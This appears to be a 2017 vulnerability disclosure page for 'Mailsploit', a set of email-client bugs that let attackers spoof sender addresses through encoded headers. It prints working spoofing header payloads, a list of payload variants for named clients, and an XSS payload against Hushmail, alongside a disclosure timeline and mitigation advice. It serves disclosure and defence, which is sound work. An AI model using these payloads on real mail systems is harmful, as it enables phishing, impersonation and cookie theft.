TL;DR: Mailsploit is a collection of bugs in email clients that allow effective sender spoofing and code injection attacks. The spoofing is not detected by Mail Transfer Agents (MTA) aka email servers, therefore circumventing spoofing protection mechanisms such as DMARC (DKIM/SPF) or spam filters. Bugs were found in over 30 applications, including prominent ones like Apple Mail (macOS, iOS and watchOS), Mozilla Thunderbird, various Microsoft email clients, Yahoo! Mail, ProtonMail and others. In addition to the spoofing vulnerability, some of the tested applications also proved to be vulnerable to XSS and code injection attacks. Just take me to the demo ↓

Background Email identities were really easy to spoof back in the 90s and early 2000s. Changing the “From” header field was enough to make friends believe an email came from their mother, significant other, or even the FBI. There were websites specially made for this purpose. However, those tricks no longer work thanks to anti-spoofing protections such as DMARC (DKIM / SPF) and anti-spam filters. Today, emails with a spoofed “From” field either go to the spam folder or are completely rejected by the server. Email usage is higher than ever and email is used for everything – from tracking parcels to sharing sensitive data. Unfortunately email is already not a very secure way to communicate. We’ve seen a lot of malware spreading via emails, relying on social engineering techniques to convince users to open unsafe attachments, or click on phishing links. The rise of ransomware distributed over email clearly demonstrates the effectivity of those mechanisms. What if there was a way to bypass DMARC protection and spoof the sender name like it was 1999? Guess what, there is!

Introducing Mailsploit Mailsploit is a new way to easily spoof email addresses. It allows the attacker to display an arbitrary sender email address to the email recipient. In the following demo I use [email protected] but any other email address could be used. And this is how it works: In an email, all headers must only contain ASCII characters, including the “From” header. The trick resides in using RFC-1342 (from 1992!), a recommendation that provides a way to encode non-ASCII chars inside email headers in a such way that it won't confuse the MTAs processing the email. Unfortunately, most email clients and web interfaces don’t properly sanitize the string after decoding which leads to this email spoofing attack. Here is what it looks like: =?utf-8?b?[BASE-64]?= =?utf-8?Q?[QUOTED-PRINTABLE]?= Either base64 or the quoted printable representation can be used. Using a combination of control characters such as new lines or null-byte, it can result in hiding or removing the domain part of the original email, allowing us to replace it. Here is why: iOS is vulnerable to null-byte injection

macOS is vulnerable to “email(name)” injection Mixing both of them turns out to work perfectly on both OSs: From: =?utf-8?b?${base64_encode('[email protected]')}?==?utf-8?Q?=00?==?utf-8?b?${base64_encode('([email protected])')}[email protected] Which becomes: From: =?utf-8?b?cG90dXNAd2hpdGVob3VzZS[email protected]mailsploit.com Which, once decoded by Mail.app, becomes: From: [email protected]\0([email protected])@mailsploit.com Using this payload, both macOS and iOS will show that the email comes from [email protected] and not …@mailsploit.com : iOS will discard everything after the null-byte

macOS ignores the null-byte but will stop after the first valid email it sees (due to a bug in the parser) In order to avoid that the victim sees a glitch when trying to reply to the email, it is enough to add a “Reply-to” field: Reply-To: [email protected] Here is a demonstration of the bug on iOS: Payloads usually differ between clients, but tweaking them could eventually make most of the clients react to the same payload.

Should DKIM signatures not make this impossible? DMARC is not attacked directly, but rather bypassed by taking advantage of how the clients display the email sender name. The server still validates properly the DKIM signature of the original domain and not the spoofed one. While MTAs not only don’t detect and block these spoofed email addresses, they will happily relay those emails as long as the original email seems trustworthy enough (the attacker can therefore ironically profit from setting up DMARC on that email address). This makes these spoofed emails virtually unstoppable at this point in time.

The demo is no longer available. However, source code has been released so you may run your own server locally. Go to GitHub You have been rate limited. Please try again in a few minutes. An unknown error happened. Please try again. A connectivity error happened. Please try again. Thank you. It's on its way! Try the demo Your email address Email address that should appear as the sender Payloads Please select a payload... macOS ≤ 10.13.1 / iOS ≤ 11.2 Mail.app / Open-Xchange < 7.10.0 / CloudMagic Newton ≤ 9.8.79-like (via spoof\0(spoof)@domain) Mozilla-Thunderbird ≤ 52.5.0-like (via spoof

\0 <spoof

\ [email protected] >) Variation #1 (Compatible with multiple clients) (via spoof\0\ [email protected] ) Variation #2 (Compatible with Mail for Windows 10) (via spoof" <spoof>\0

< [email protected] >) Variation #2.1 (via spoof\0

< [email protected] >) Variation #2.2 (via test" <spoof>\0

< [email protected] >) Variation #3 (via "spoof" <spoof>

\0\0\0 < [email protected] >) Variation #3.1 (via "test" <spoof>

\0\0\0 < [email protected] >) Variation #3.2 (via "spoof" <test>

\0\0\0 < [email protected] >) Variation #4 (via spoof

\ [email protected] ) Variation #5 (via spoof < [email protected] >) Variation #6 (via spoof( [email protected] ) Generic Test #1 Generic Test #2 All of them (14 emails) Send Emails are not stored. Please do not send emails to someone else without their consent.

Responsible disclosure All vendors were contacted at least 3 months prior to the publication, some of them even 4 or 5 months before the publication. The spoofing bug was found and confirmed in 33 different products. As of Dec 5th 2017, it was fixed in 8 products (~ 24%) and triaged for 12 additional products (~ 36%). Two vendors (Mozilla and Opera) said they won’t fix the bug (they consider it to be a server-side problem) and another one (Mailbird) closed the ticket without responding. As for the remaining 12 products (~ 36%), the vendors have received the bug report but have not commented on whether they will address it. The (non-exhaustive) list of the affected companies and vendors are available here: https://docs.google.com/spreadsheets/d/1jkb_ZybbAoUA43K902lL-sB7c1HMQ78-fhQ8nowJCQk Certain vendors in the list are anonymized for now as per their bug bounty rules.

Solutions Update your email client whenever a software update is available. Email will continue to play a role for decades but you can reduce the usage drastically as better alternatives to stay in touch exist. Use end-to-end encrypted messengers for personal conversations, and at work. https://www.securemessagingapps.com is a good, independent source of recommendations for that. If you must stick with emails then use PGP/GPG to verify the identities and encrypt email contents.

One more thing: Code injection Some affected companies and vendors were affected by both email spoofing and code injection vulnerabilities (here, XSS). Example 1: Hushmail The code execution is triggered when clicking on “Create a rule”. Their team was extremely fast to fix the issue. Here is the payload that was used for Hushmail: From: =?utf-8?b?c2VydmljZUBwYXlwYWwuY29tPGlmcmFtZSBvbmxvYWQ9YWxlcnQoZG9jdW1lbnQuY29va2llKSBzcmM9aHR0cHM6Ly93d3cua[email protected]mailsploit.com Which then becomes: From: [email protected]<iframe onload=alert(document.cookie) src=https://www.hushmail.com style="display:none"

\[email protected] In this example, the HTML is inside the encoded part of the mail. Example 2: Open Mailbox Example 3: Spark and Airmail